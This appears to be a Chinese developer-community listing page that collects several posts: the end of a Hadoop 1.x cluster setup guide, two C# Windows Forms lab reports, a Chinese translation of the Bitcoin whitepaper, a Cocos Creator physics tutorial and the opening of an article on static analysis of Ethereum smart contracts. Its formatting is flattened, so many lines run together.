    scp -r /usr/local/src/jdk1.8.0_152 root@slave1:/usr/local/src/jdk1.8.0_152scp -r /usr/local/src/jdk1.8.0_152 root@slave2:/usr/local/src/jdk1.8.0_1522.10 下载HadoopMaster
    wget http://mirror.bit.edu.cn/apache/hadoop/common/hadoop-1.2.1/hadoop-1.2.1.tar.gztar zxvf hadoop-1.2.1.tar.gzcd hadoop-1.2.1.tar.gzmkdir tmp2.11 修改Hadoop配置文件Master
    cd confvim mastersmastervim slavesslave1slave2vim core-site.xml
    <configuration><property><name>hadoop.tmp.dir</name><value>/usr/local/src/hadoop-1.2.1/tmp</value></property><property><name>fs.default.name</name><value>hdfs://#masterip:9000</value></property></configuration>vim mapred-site.xml
    <configuration><property><name>mapred.job.tracker</name><value>http://#masterip:9001</value></property></configuration>vim hdfs-site.xml
    <configuration><property><name>dfs.replication</name><value>3</value></property></configuration>vim hadoop-env.shexport JAVA_HOME=/usr/local/src/jdk1.8.0_1522.12 配置环境变量Master、Slave1、Slave2
    vim ~/.bashrcHADOOP_HOME=/usr/local/src/hadoop-1.2.1export PATH=$PATH:$HADOOP_HOME/bin刷新环境变量
    source ~/.bashrc2.13 安装包拷贝到Slave主机Master
    scp -r /usr/local/src/hadoop-1.2.1 root@slave1:/usr/local/src/hadoop-1.2.1scp -r /usr/local/src/hadoop-1.2.1 root@slave2:/usr/local/src/hadoop-1.2.12.14 启动集群Master
    初始化NameNode
    hadoop namenode -format启动Hadoop启动Hadoop集群
    start-all.sh2.15 集群状态jps



    2.16 监控页面NameNode
    http://master:50070/dfshealth.jsp
    SecondaryNameNode
    http://master:50090/status.jsp
    DataNode
    http://slave1:50075/
    http://slave2:50075/
    JobTracker
    http://master:50030/jobtracker.jsp
    TaskTracker
    http://slave1:50060/tasktracker.jsp
    http://slave2:50060/tasktracker.jsp
    2.17 关闭集群stop-all.sh总结一下搭建遇见的坑1.1Linux系统安装时占存大小一定要选好,这个东西思想是集群式,只有在真正HDFS这种分布式存储上才能展现威力,在本地会显得慢一点
    1.2相比于桥接模式直接连接物理网络,NAT模式更加人性化解决IP冲突问题,如果想用NAT模式重新获取到本地IP对应的虚拟IP,需要从虚拟机的虚拟网络编辑器中删除NAT模式的网络并新建一个网络改为NAT模式,就会获取到新的对应IP,并且每台Linux中都需要根据这个nat网关IP从新分配静态IP,可以利用
    curl www.baidu.com测试连接外网,在srt软件中测试时乱码问题需要自己设置下(还可以设置背景和系统哦)
    1.3集群搭建还需要做到master和slave之间无密码连接(ssh互信),而阻挡连接的问题也就是iptables和selinux了,而修改主机名可以方便以后不需要再蛋疼的打IP了可以达到dns的效果
    1.4本地上传和从网上download -jdk和Hadoop包都可以,上传的话虚拟机设置选项里面有一个共享文件夹,设置后可以在/mnt/hgfs中找到然后拷贝到各个机器中(scp/cp)
    1.5Hadoop中的配置文件一共就那么几个,一定要配置好,千万不要打错字母,不然启动集群时某些任务起不来,IP都是master的IP,Hadoop1.0不像2.0一样不显示jobtracker&tasktracker

    千万不要打错字母出错的时候先检查配置文件再说
    1.6环境变量:更方便地在任何目录下使用
    4 留言 2018-12-20 12:27:53 奖励10点积分
  • 实数带小数点的四则运算计算器

    一、实验目的和要求
    掌握C#的基本语法
    了解Windows窗体和基本控件的使用
    掌握选择结构的特点和使用方法
    掌握字符串String类的声明和使用

    二、实验内容和原理

    学会分析“简易计算器”任务的实现思路
    根据思路独立完成“简易计算器”的源代码编写、编译和运行
    掌握正则表达式来判定数字键或者数据是否合法
    掌握String类常用方法的使用

    项目流程图

    三、实验环境
    硬件:PC机
    软件:windows10、VS2017

    四、算法描述及实验步骤4.1 实验步骤
    打开vs2017,创建新项目(.NET Framework),并命名为计算器
    定义类Form1,完成组件的布局,以及事件处理方法
    编译和测试程序,并查看运行结果

    4.2 算法描述
    输入合法机制

    避免第一位为符号,设置判断当第一位按非数字使不处理当第一位为零,第二位也为零,设置判断当第一位为零时输入数字无效(即0000.0)避免输出数字不合法(多个小数点 即6.6.6),利用循环以符号位为分割线,判该数字是否存在已存在小数点,即每个运算符号后的数字至多存在一个小数点排除多符号一起串连(即8+*9+6*/5)点击运算符触发事件并判断前一位是否为符号,是则不做处理
    计算字符串

    判断最后一位是否为运算符,利用String类中的Last()方法提取最后一位进行判断,是则提示错误,否则运算字符和数字分离,两次利用Split()类进行字符串提取分析分别得到数字序列和运算符序列将数字序列和运算符序列存放在两个动态数组中,动态数组的删除较为便利根据优先级计算,设置两个循环(当符号链表中的数据不为空则继续),第一个循环计算所有得乘除,即符号前后得两个数乘除,结果放在第一个数中删除第一个数和删除符号;第二个循环计算所有的加减,结果放在第一个数中删除第一个数和删除符号

    五、调试过程5.1 问题Split(new char[]);中没有去除空元素

    运算结果错误

    5.2 解决
    添加参数 Split(new char[],StringSplitOptions.RemoveEmptyEntries);去除空元素
    程序只删除一个运算后的数,导致算法错误,如该图结果由:5*6-6/9

    5.3 更正结果
    六、实验结果实验结果

    验证结果

    七、总结通过这个实验,我了解到了数组、字符串、动态数组的常用方法,在实验过程中遇到的问题学会自己去解决,在思路方法行不通时,学会转变另一种方法去解决,如在动态数组中的GetRange(int i,int count)从第i个获取count长度的数组集合,当我count=1时,获取的第i个字符,利用toString()、Trim()方法后使用Equel(),任何条件其值都是false,最后通过将GetRange获取的字符存在byte类型中用“==”匹配器ASCII码。
    1 留言 2020-05-27 09:30:20 奖励32点积分
  • 字体设计器

    一、实验目的和要求
    掌握C#的基本语法
    了解Windows窗体和基本控件的使用
    掌握选择类控件(单选按钮控件、复选框、列表控件、组合框控件等)的使用方法
    掌握自定义控件的使用方法

    二、实验内容和原理编写一个类似字体的窗体,完成类似的功能

    三、实验环境
    硬件:PC机
    软件:windows10、VS2017

    四、算法描述及实验步骤4.1 界面1
    打开vs2017,创建新项目(.net Framework),并命名为Form1
    创建一个界面包含label、button控件
    创建 button1_Click方法和givevalue()方法用于委托传值和跳转

    4.2 界面2
    创建新项目(.net Framework),并命名为Form3
    在界面中根据实验要求部署界面中的各个控件
    编写From3_Load()方法设置三个listbox的选项
    编写各个按钮的触发事件函数

    五、调试过程
    六、实验结果
    七、总结通过这次实验了解到C#的委托、自定义控件。委托是寻址方法的.NET版本,使用委托可以将方法作为参数进行传递。委托是一种特殊类型的对象,其特殊之处在于委托中包含的只是一个活多个方法的地址,而不是数据。
    自定义控件步骤:

    新建自定义控件库 — Windows Forms Control Library
    添加自定义组件
    继承控件,添加事件
    将生成后的Dll添加到工具箱
    测试自定义的控件
    1 留言 2020-05-24 20:08:04 奖励30点积分
  • 比特币白皮书:一种点对点的电子现金系统

    比特币白皮书:一种点对点的电子现金系统
    原文作者:中本聪(Satoshi Nakamoto)
    原文地址:http://www.bitcoin.org/bitcoin.pdf
    作者邮箱:Satoshin@gmx.com
    执行翻译:8btc.com 巴比特 QQagent
    转载自:https://www.8btc.com/wiki/bitcoin-a-peer-to-peer-electronic-cash-system


    [摘要]:本文提出了一种完全通过点对点技术实现的电子现金系统,它使得在线支付能够直接由一方发起并支付给另外一方,中间不需要通过任何的金融机构。虽然数字签名(Digital signatures)部分解决了这个问题,但是如果仍然需要第三方的支持才能防止双重支付(double-spending)的话,那么这种系统也就失去了存在的价值。我们(we)在此提出一种解决方案,使现金系统在点对点的环境下运行,并防止双重支付问题。该网络通过随机散列(hashing)对全部交易加上时间戳(timestamps),将它们合并入一个不断延伸的基于随机散列的工作量证明(proof-of-work)的链条作为交易记录,除非重新完成全部的工作量证明,形成的交易记录将不可更改。最长的链条不仅将作为被观察到的事件序列(sequence)的证明,而且被看做是来自CPU计算能力最大的池(pool)。只要大多数的CPU计算能力都没有打算合作起来对全网进行攻击,那么诚实的节点将会生成最长的、超过攻击者的链条。这个系统本身需要的基础设施非常少。信息尽最大努力在全网传播即可,节点(nodes)可以随时离开和重新加入网络,并将最长的工作量证明链条作为在该节点离线期间发生的交易的证明。

    1. 简介互联网上的贸易,几乎都需要借助金融机构作为可资信赖的第三方来处理电子支付信息。虽然这类系统在绝大多数情况下都运作良好,但是这类系统仍然内生性地受制于“基于信用的模式”(trust based model)的弱点。我们无法实现完全不可逆的交易,因为金融机构总是不可避免地会出面协调争端。而金融中介的存在,也会增加交易的成本,并且限制了实际可行的最小交易规模,也限制了日常的小额支付交易。并且潜在的损失还在于,很多商品和服务本身是无法退货的,如果缺乏不可逆的支付手段,互联网的贸易就大大受限。因为有潜在的退款的可能,就需要交易双方拥有信任。而商家也必须提防自己的客户,因此会向客户索取完全不必要的个人信息。而实际的商业行为中,一定比例的欺诈性客户也被认为是不可避免的,相关损失视作销售费用处理。而在使用物理现金的情况下,这些销售费用和支付问题上的不确定性却是可以避免的,因为此时没有第三方信用中介的存在。 所以,我们非常需要这样一种电子支付系统,它基于密码学原理而不基于信用,使得任何达成一致的双方,能够直接进行支付,从而不需要第三方中介的参与。杜绝回滚(reverse)支付交易的可能,这就可以保护特定的卖家免于欺诈;而对于想要保护买家的人来说,在此环境下设立通常的第三方担保机制也可谓轻松加愉快。在这篇论文中,我们(we)将提出一种通过点对点分布式的时间戳服务器来生成依照时间前后排列并加以记录的电子交易证明,从而解决双重支付问题。只要诚实的节点所控制的计算能力的总和,大于有合作关系的(cooperating)攻击者的计算能力的总和,该系统就是安全的。
    2. 交易(Transactions)我们定义,一枚电子货币(an electronic coin)是这样的一串数字签名:每一位所有者通过对前一次交易和下一位拥有者的公钥(Public key) 签署一个随机散列的数字签名,并将这个签名附加在这枚电子货币的末尾,电子货币就发送给了下一位所有者。而收款人通过对签名进行检验,就能够验证该链条的所有者。

    该过程的问题在于,收款人将难以检验,之前的某位所有者,是否对这枚电子货币进行了双重支付。通常的解决方案,就是引入信得过的第三方权威,或者类似于造币厂(mint)的机构,来对每一笔交易进行检验,以防止双重支付。在每一笔交易结束后,这枚电子货币就要被造币厂回收,而造币厂将发行一枚新的电子货币;而只有造币厂直接发行的电子货币,才算作有效,这样就能够防止双重支付。可是该解决方案的问题在于,整个货币系统的命运完全依赖于运作造币厂的公司,因为每一笔交易都要经过该造币厂的确认,而该造币厂就好比是一家银行。 我们需要收款人有某种方法,能够确保之前的所有者没有对更早发生的交易实施签名。从逻辑上看,为了达到目的,实际上我们需要关注的只是于本交易之前发生的交易,而不需要关注这笔交易发生之后是否会有双重支付的尝试。为了确保某一次交易是不存在的,那么唯一的方法就是获悉之前发生过的所有交易。在造币厂模型里面,造币厂获悉所有的交易,并且决定了交易完成的先后顺序。如果想要在电子系统中排除第三方中介机构,那么交易信息就应当被公开宣布(publicly announced)[1] ,我们需要整个系统内的所有参与者,都有唯一公认的历史交易序列。收款人需要确保在交易期间绝大多数的节点都认同该交易是首次出现。
    3. 时间戳服务器(Timestamp server)本解决方案首先提出一个“时间戳服务器”。时间戳服务器通过对以区块(block)形式存在的一组数据实施随机散列而加上时间戳,并将该随机散列进行广播,就像在新闻或世界性新闻组网络(Usenet)的发帖一样[2][3][4][5] 。显然,该时间戳能够证实特定数据必然于某特定时间是的确存在的,因为只有在该时刻存在了才能获取相应的随机散列值。每个时间戳应当将前一个时间戳纳入其随机散列值中,每一个随后的时间戳都对之前的一个时间戳进行增强(reinforcing),这样就形成了一个链条(Chain)。

    4. 工作量证明(Proof-of-Work)为了在点对点的基础上构建一组分散化的时间戳服务器,仅仅像报纸或世界性新闻网络组一样工作是不够的,我们还需要一个类似于亚当•柏克(Adam Back)提出的哈希现金(Hashcash)[6] 。在进行随机散列运算时,工作量证明机制引入了对某一个特定值的扫描工作,比方说SHA-256下,随机散列值以一个或多个0开始。那么随着0的数目的上升, 找到这个解所需要的工作量将呈指数增长,而对结果进行检验则仅需要一次随机散列运算。
    我们在区块中补增一个随机数(Nonce),这个随机数要使得该给定区块的随机散列值出现了所需的那么多个0。我们通过反复尝试来找到这个随机数,直到找到为止,这样我们就构建了一个工作量证明机制。只要该CPU耗费的工作量能够满足该工作量证明机制,那么除非重新完成相当的工作量,该区块的信息就不可更改。由于之后的区块是链接在该区块之后的,所以想要更改该区块中的信息,就还需要重新完成之后所有区块的全部工作量。

    同时,该工作量证明机制还解决了在集体投票表决时,谁是大多数的问题。如果决定大多数的方式是基于IP地址的,一IP地址一票,那么如果有人拥有分配大量IP地址的权力,则该机制就被破坏了。而工作量证明机制的本质则是一CPU一票。“大多数”的决定表达为最长的链,因为最长的链包含了最大的工作量。如果大多数的CPU为诚实的节点控制,那么诚实的链条将以最快的速度延长,并超越其他的竞争链条。如果想要对业已出现的区块进行修改,攻击者必须重新完成该区块的工作量外加该区块之后所有区块的工作量,并最终赶上和超越诚实节点的工作量。我们将在后文证明,设想一个较慢的攻击者试图赶上随后的区块,那么其成功概率将呈指数化递减。 另一个问题是,硬件的运算速度在高速增长,而节点参与网络的程度则会有所起伏。为了解决这个问题,工作量证明的难度(the proof-of-work difficulty)将采用移动平均目标的方法来确定,即令难度指向令每小时生成区块的速度为某一个预定的平均数。如果区块生成的速度过快,那么难度就会提高。
    5. 网络运行该网络的步骤如下:

    新的交易向全网进行广播
    每一个节点都将收到的交易信息纳入一个区块中
    每个节点都尝试在自己的区块中找到一个具有足够难度的工作量证明
    当一个节点找到了一个工作量证明,它就向全网进行广播
    当且仅当包含在该区块中的所有交易都是有效的且之前未存在过的,其他节点才认同该区块的有效性
    其他节点表示他们接受该区块,而表示接受的方法,则是在跟随该区块的末尾,制造新的区块以延长该链条,而将被接受区块的随机散列值视为先于新区快的随机散列值

    节点始终都将最长的链条视为正确的链条,并持续工作和延长它。如果有两个节点同时广播不同版本的新区块,那么其他节点在接收到该区块的时间上将存在先后差别。当此情形,他们将在率先收到的区块基础上进行工作,但也会保留另外一个链条,以防后者变成最长的链条。该僵局(tie)的打破要等到下一个工作量证明被发现,而其中的一条链条被证实为是较长的一条,那么在另一条分支链条上工作的节点将转换阵营,开始在较长的链条上工作。 所谓“新的交易要广播”,实际上不需要抵达全部的节点。只要交易信息能够抵达足够多的节点,那么他们将很快被整合进一个区块中。而区块的广播对被丢弃的信息是具有容错能力的。如果一个节点没有收到某特定区块,那么该节点将会发现自己缺失了某个区块,也就可以提出自己下载该区块的请求。
    6. 激励我们约定如此:每个区块的第一笔交易进行特殊化处理,该交易产生一枚由该区块创造者拥有的新的电子货币。这样就增加了节点支持该网络的激励,并在没有中央集权机构发行货币的情况下,提供了一种将电子货币分配到流通领域的一种方法。这种将一定数量新货币持续增添到货币系统中的方法,非常类似于耗费资源去挖掘金矿并将黄金注入到流通领域。此时,CPU的时间和电力消耗就是消耗的资源。 另外一个激励的来源则是交易费(transaction fees)。如果某笔交易的输出值小于输入值,那么差额就是交易费,该交易费将被增加到该区块的激励中。只要既定数量的电子货币已经进入流通,那么激励机制就可以逐渐转换为完全依靠交易费,那么本货币系统就能够免于通货膨胀。 激励系统也有助于鼓励节点保持诚实。如果有一个贪婪的攻击者能够调集比所有诚实节点加起来还要多的CPU计算力,那么他就面临一个选择:要么将其用于诚实工作产生新的电子货币,或者将其用于进行二次支付攻击。那么他就会发现,按照规则行事、诚实工作是更有利可图的。因为该等规则使得他能够拥有更多的电子货币,而不是破坏这个系统使得其自身财富的有效性受损。
    7. 回收硬盘空间如果最近的交易已经被纳入了足够多的区块之中,那么就可以丢弃该交易之前的数据,以回收硬盘空间。为了同时确保不损害区块的随机散列值,交易信息被随机散列时,被构建成一种Merkle树(Merkle tree)[7] 的形态,使得只有根(root)被纳入了区块的随机散列值。通过将该树(tree)的分支拔除(stubbing)的方法,老区块就能被压缩。而内部的随机散列值是不必保存的。

    不含交易信息的区块头(Block header)大小仅有80字节。如果我们设定区块生成的速率为每10分钟一个,那么每一年产生的数据位4.2MB。(80 bytes 6 24 * 365 = 4.2MB)。2008年,PC系统通常的内存容量为2GB,按照摩尔定律的预言,即使将全部的区块头存储于内存之中都不是问题。
    8. 简化的支付确认(Simplified Payment Verification)在不运行完整网络节点的情况下,也能够对支付进行检验。一个用户需要保留最长的工作量证明链条的区块头的拷贝,它可以不断向网络发起询问,直到它确信自己拥有最长的链条,并能够通过merkle的分支通向它被加上时间戳并纳入区块的那次交易。节点想要自行检验该交易的有效性原本是不可能的,但通过追溯到链条的某个位置,它就能看到某个节点曾经接受过它,并且于其后追加的区块也进一步证明全网曾经接受了它。

    当此情形,只要诚实的节点控制了网络,检验机制就是可靠的。但是,当全网被一个计算力占优的攻击者攻击时,将变得较为脆弱。因为网络节点能够自行确认交易的有效性,只要攻击者能够持续地保持计算力优势,简化的机制会被攻击者焊接的(fabricated)交易欺骗。那么一个可行的策略就是,只要他们发现了一个无效的区块,就立刻发出警报,收到警报的用户将立刻开始下载被警告有问题的区块或交易的完整信息,以便对信息的不一致进行判定。对于日常会发生大量收付的商业机构,可能仍会希望运行他们自己的完整节点,以保持较大的独立完全性和检验的快速性。

    9. 价值的组合与分割(Combining and Splitting Value)虽然可以单个单个地对电子货币进行处理,但是对于每一枚电子货币单独发起一次交易将是一种笨拙的办法。为了使得价值易于组合与分割,交易被设计为可以纳入多个输入和输出。一般而言是某次价值较大的前次交易构成的单一输入,或者由某几个价值较小的前次交易共同构成的并行输入,但是输出最多只有两个:一个用于支付,另一个用于找零(如有)。 需要指出的是,当一笔交易依赖于之前的多笔交易时,这些交易又各自依赖于多笔交易,但这并不存在任何问题。因为这个工作机制并不需要展开检验之前发生的所有交易历史。
    10. 隐私(Privacy)
    传统的造币厂模型为交易的参与者提供了一定程度的隐私保护,因为试图向可信任的第三方索取交易信息是严格受限的。但是如果将交易信息向全网进行广播,就意味着这样的方法失效了。但是隐私依然可以得到保护:将公钥保持为匿名。公众得知的信息仅仅是有某个人将一定数量的货币发所给了另外一个人,但是难以将该交易同特定的人联系在一起,也就是说,公众难以确信,这些人究竟是谁。这同股票交易所发布的信息是类似的,股票交易发生的时间、交易量是记录在案且可供查询的,但是交易双方的身份信息却不予透露。 作为额外的预防措施,使用者可以让每次交易都生成一个新的地址,以确保这些交易不被追溯到一个共同的所有者。但是由于并行输入的存在,一定程度上的追溯还是不可避免的,因为并行输入表明这些货币都属于同一个所有者。此时的风险在于,如果某个人的某一个公钥被确认属于他,那么就可以追溯出此人的其它很多交易。
    11. 计算设想如下场景:一个攻击者试图比诚实节点产生链条更快地制造替代性区块链。即便它达到了这一目的,但是整个系统也并非就此完全受制于攻击者的独断意志了,比方说凭空创造价值,或者掠夺本不属于攻击者的货币。这是因为节点将不会接受无效的交易,而诚实的节点永远不会接受一个包含了无效信息的区块。一个攻击者能做的,最多是更改他自己的交易信息,并试图拿回他刚刚付给别人的钱。 诚实链条和攻击者链条之间的竞赛,可以用二叉树随机漫步(Binomial Random Walk)来描述。成功事件定义为诚实链条延长了一个区块,使其领先性+1,而失败事件则是攻击者的链条被延长了一个区块,使得差距-1。 攻击者成功填补某一既定差距的可能性,可以近似地看做赌徒破产问题(Gambler’s Ruin problem)。假定一个赌徒拥有无限的透支信用,然后开始进行潜在次数为无穷的赌博,试图填补上自己的亏空。那么我们可以计算他填补上亏空的概率,也就是该攻击者赶上诚实链条,如下所示[8] :

    假定p>q,那么攻击成功的概率就因为区块数的增长而呈现指数化下降。由于概率是攻击者的敌人,如果他不能幸运且快速地获得成功,那么他获得成功的机会随着时间的流逝就变得愈发渺茫。那么我们考虑一个收款人需要等待多长时间,才能足够确信付款人已经难以更改交易了。我们假设付款人是一个支付攻击者,希望让收款人在一段时间内相信他已经付过款了,然后立即将支付的款项重新支付给自己。虽然收款人届时会发现这一点,但为时已晚。 收款人生成了新的一对密钥组合,然后只预留一个较短的时间将公钥发送给付款人。这将可以防止以下情况:付款人预先准备好一个区块链然后持续地对此区块进行运算,直到运气让他的区块链超越了诚实链条,方才立即执行支付。当此情形,只要交易一旦发出,攻击者就开始秘密地准备一条包含了该交易替代版本的平行链条。 然后收款人将等待交易出现在首个区块中,然后在等到z个区块链接其后。此时,他仍然不能确切知道攻击者已经进展了多少个区块,但是假设诚实区块将耗费平均预期时间以产生一个区块,那么攻击者的潜在进展就是一个泊松分布,分布的期望值为:

    当此情形,为了计算攻击者追赶上的概率,我们将攻击者取得进展区块数量的泊松分布的概率密度,乘以在该数量下攻击者依然能够追赶上的概率。

    化为如下形式,避免对无限数列求和:

    写为如下C语言代码:
    #include <math.h> double AttackerSuccessProbability(double q, int z) { double p = 1.0 - q; double lambda = z * (q / p); double sum = 1.0; int i, k; for (k = 0; k <= z; k++) { double poisson = exp(-lambda); for (i = 1; i <= k; i++) poisson *= lambda / i; sum -= poisson * (1 - pow(q / p, z - k)); } return sum;}
    对其进行运算,我们可以得到如下的概率结果,发现概率对z值呈指数下降。
    当 q=0.1 时,z=0 P=1.0000000z=1 P=0.2045873z=2 P=0.0509779z=3 P=0.0131722z=4 P=0.0034552z=5 P=0.0009137z=6 P=0.0002428z=7 P=0.0000647z=8 P=0.0000173z=9 P=0.0000046z=10 P=0.0000012当 q=0.3 时,z=0 P=1.0000000z=5 P=0.1773523z=10 P=0.0416605z=15 P=0.0101008z=20 P=0.0024804z=25 P=0.0006132z=30 P=0.0001522z=35 P=0.0000379z=40 P=0.0000095z=45 P=0.0000024z=50 P=0.0000006求解令P<0.1%的z值:
    为使 P < 0.001 则q=0.10 z=5q=0.15 z=8q=0.20 z=11q=0.25 z=15q=0.30 z=24q=0.35 z=41q=0.40 z=89q=0.45 z=34012.结论我们在此提出了一种不需要信用中介的电子支付系统。我们首先讨论了通常的电子货币的电子签名原理,虽然这种系统为所有权提供了强有力的控制,但是不足以防止双重支付。为了解决这个问题,我们提出了一种采用工作量证明机制的点对点网络来记录交易的公开信息,只要诚实的节点能够控制绝大多数的CPU计算能力,就能使得攻击者事实上难以改变交易记录。该网络的强健之处在于它结构上的简洁性。节点之间的工作大部分是彼此独立的,只需要很少的协同。每个节点都不需要明确自己的身份,由于交易信息的流动路径并无任何要求,所以只需要尽其最大努力传播即可。节点可以随时离开网络,而想重新加入网络也非常容易,因为只需要补充接收离开期间的工作量证明链条即可。节点通过自己的CPU计算力进行投票,表决他们对有效区块的确认,他们不断延长有效的区块链来表达自己的确认,并拒绝在无效的区块之后延长区块以表示拒绝。本框架包含了一个P2P电子货币系统所需要的全部规则和激励措施。
    参考文献
    [1] W. Dai, “b-money,” http://www.weidai.com/bmoney.txt, 1998.
    [2] H. Massias, X.S. Avila, and J.-J. Quisquater, “Design of a secure timestamping service with minimal trust requirements,” In 20th Symposium on Information Theory in the Benelux, May 1999.
    [3] S. Haber, W.S. Stornetta, “How to time-stamp a digital document,” In Journal of Cryptology, vol 3, no2, pages 99-111, 1991.
    [4] D. Bayer, S. Haber, W.S. Stornetta, “Improving the efficiency and reliability of digital time-stamping,” In Sequences II: Methods in Communication, Security and Computer Science, pages 329-334, 1993.
    [5] S. Haber, W.S. Stornetta, “Secure names for bit-strings,” In Proceedings of the 4th ACM Conference on Computer and Communications Security, pages 28-35, April 1997.
    [6] A. Back, “Hashcash - a denial of service counter-measure,” http://www.hashcash.org/papers/hashcash.pdf, 2002.
    [7] R.C. Merkle, “Protocols for public key cryptosystems,” In Proc. 1980 Symposium on Security and Privacy, IEEE Computer Society, pages 122-133, April 1980.
    [8] W. Feller, “An introduction to probability theory and its applications,” 1957.
    1 留言 2020-03-16 09:41:02 奖励45点积分
  • 【Cocos Creator实战教程(5)】——打砖块(物理引擎,碰撞检测) 精华

    1. 知识点
    物理引擎碰撞检测
    2. 步骤2.1 准备工作搭一个游戏背景
    2.2 小球运动再建一个物理层,用来装游戏里的带有物理属性的东西,设置锚点为左下角

    wall:墙//小球碰到就会反弹的那种墙 ground:地面//球碰到地面,这局游戏就结束了 brick_layout:砖块布局//这个单词我们之前讲过了就不讲了 ball:球//就是球 paddle:桨//这里特指那个可以控制移动的白色长方形

    这个wall肯定是要有碰撞属性的,在属性面板,添加一个物理组件 (物理->rigidbody)。
    因为我们的墙有上,左,右三面,所以再添加三个碰撞组件(一个节点可以有多个碰撞组件)。

    编辑一下

    地面同理,小球同理,托盘同理 。(这里把地面和墙分开是为了后面墙和地面可能有不同的逻辑)
    现在已经编辑了几个物理节点的碰撞包围盒,但还没有编辑他们的物理属性(cc.RigidBody)
    先从小球开始,点击ball节点,在属性检查器可以看到

    Cocos Creator从1.5版本开始支持Box2D物理游戏引擎,Box2D是一个优秀的刚体模拟框架,关于Box2D的知识可以去网络上自行了解。
    把第一个参数勾选,代表启用碰撞回调,可以在脚本里写回调函数
    Bullet:高速运动的物体(子弹)开启,避免穿透,这里不用勾选
    type选择Dynamic,

    static:不会受到力的影响,不会受到速度影响,指的是物理引擎,我们依然可以通过移动节点来改变位置 。
    kinematic:不受力的影响,会受到速度影响 。
    dynamic:受力影响,受速度影响 。
    animated:和动画结合使用。

    Gravity Scale设置为0(标准是1,数值代表比例),也就是没有重力。
    设置线速度(1000,1000)
    在下面的碰撞组件里,设置Friction (摩擦系数)等于0(没有摩擦力),Restitution(弹性系数)等于1(没有动量损耗)

    因为小球是我们的主角,左右的碰撞都是对球来说的,所以碰撞属性都在小球这一方设置就可以了。
    另外要设置wall,ground,paddle,brick的type为staticbrick的tag为1,ground的tag为2,paddle的tag为3,wall的tag位4
    下面来看脚本
    BrickLayout.js
    cc.Class({ extends: cc.Component, properties: { padding: 0, spacing: 0, cols: 0, brickPrefab: cc.Prefab, bricksNumber: 0, }, init(bricksNumber) { this.node.removeAllChildren(); this.bricksNumber = bricksNumber; for (let i = 0; i < this.bricksNumber; i++) { let brickNode = cc.instantiate(this.brickPrefab); brickNode.parent = this.node; brickNode.x = this.padding + (i % this.cols) * (brickNode.width + this.spacing) + brickNode.width / 2; brickNode.y = -this.padding - Math.floor(i / this.cols) * (brickNode.height + this.spacing) - brickNode.height / 2; } }});
    2.3 添加砖块自己写了一个动态添加砖块的布局脚本,传入需要添加的砖块数量就可以动态加入的布局节点中。
    2.4 结束界面完善好游戏逻辑,我使用了MVC模式编写脚本。

    3. 总结至此,我便给大家简要的介绍了一下物理引擎,更多的功能需要大家自己探索实践。
    列出几个大家常问的问题:
    3.1如何移动刚体?当我们的一个节点上有一个刚体,我们要进行移动。一般我们都会通过节点的setPosition进行移动,但是刚体不会被影响,不管是Static、还是Dynamic还是Kinematic都不会被影响我们可以通过1、瞬时动作cc.place来进行移动而且不会影响刚体原本的运动轨迹2、Action的所有动作。cc.moveBy;cc.moveTo;等等
    3.2 碰撞组件和物理组件有什么不同?碰撞组件没有类型之分,只要相交就会发生碰撞事件,如果不对碰撞进行处理,那就没有任何影响。物理碰撞组件分类型,因为他们先会绑定刚体。如果刚体类型不同则会有不同的效果。和Dynamtic类型刚体绑定的PhysicsBoxCollider会受重力影响,可以设置速度和Static类型刚体绑定的物理组件,不会受重力影响,不可以设置速度,可以通过设置位置让其移动和Kinematic类型刚体绑定的物理组件,不受重力影响,可以设置速度
    例如,本文中我们就是用了物理碰撞组件,所以刚体类型选择上要有一定技巧。
    在现实开发情况下,拾取道具和横像动作例如进攻多用碰撞组件 ,而竖向动作例如弹跳多用物理碰撞组件。
    3.3 三种物理组件有什么不同?绑定了Dynamic(运动)类型的物理组件不能穿透绑定了Static(静态)类型的物理组件绑定了Dynamic类型的物理组件不能穿透绑定了Kinematic类型的物理组件Static和Kinematic不会触发碰撞事件,Static和Static;Kinematic和Kinematic不会触发碰撞事件;
    所以,因为我们不能将ball选为kinematic,尽管此游戏我们忽略了重力。
    3.4 物理组件如何进行碰撞回调?首先RigidBody要开启碰撞监听然后当前节点下有如下函数
    在函数碰撞体刚开始接触时调用一次onBeginContatct:function(contact,selfCollider,otherCollider){}在两个碰撞体结束接触时被调用一次onEndContact:fucntion(contact,setCollider,otherCollider){}每次要处理碰撞体接触逻辑是被调用onPreSolve:function(contact,selfCollider,otherCollider){}每次处理完碰撞体接触时被调用onPostSolve:fucntion(contact,selfCollider,otherCollider){}
    3.5 碰撞组件的回调var manager = cc.director.getCollisionManager();manager.enabled = true;脚本里面先开启碰撞监听,因为默认是关闭然后有以下函数://当碰撞产生时调用onCollisionEnter:function(other,self){}//在碰撞产生后,在碰撞结束前,每次计算完碰撞结果后调用onCollisionStay:function(other,self){}//当碰撞结束后调用onCollisionExit;function(other,self){}
    部分素材来源于网络,欢迎提问
    6 留言 2018-12-20 12:14:07 奖励25点积分
  • 区块链安全-以太坊智能合约静态分析

    最近在关注区块链安全方面的技术,看到一篇不错的技术博文,所以转载分享。【原文链接:区块链安全-以太坊智能合约静态分析】
    概述目前,以太坊智能合约的安全事件频发,从The DAO事件到最近的Fomo3D奖池被盗,每次安全问题的破坏力都是巨大的,如何正确防范智能合约的安全漏洞成了当务之急。本文主要讲解了如何通过对智能合约的静态分析进而发现智能合约中的漏洞。由于智能合约部署之后的更新和升级非常困难,所以在智能合约部署之前对其进行静态分析,检测并发现智能合约中的漏洞,可以最大限度的保证智能合约部署之后的安全。
    本文包含以下五个章节:

    智能合约的编译
    智能合约汇编指令分析
    从反编译代码构建控制流图
    从控制流图开始约束求解
    常见的智能合约漏洞以及检测方法

    第一章 智能合约的编译本章节是智能合约静态分析的第一章,主要讲解了智能合约的编译,包括编译环境的搭建、solidity编译器的使用。
    1.1 编译环境的搭建我们以Ubuntu系统为例,介绍编译环境的搭建过程。首先介绍的是go-ethereum的安装。
    1.1.1 安装go-ethereum通过apt-get安装是比较简便的安装方法,只需要在安装之前添加go-ethereum的ppa仓库,完整的安装命令如下:
    sudo apt-get install software-properties-commonsudo add-apt-repository -y ppa:ethereum/ethereumsudo apt-get updatesudo apt-get install ethereum
    安装成功后,我们在命令行下就可以使用geth,evm,swarm,bootnode,rlpdump,abigen等命令。
    当然,我们也可以通过编译源码的方式进行安装,但是这种安装方式需要提前安装golang的环境,步骤比较繁琐。
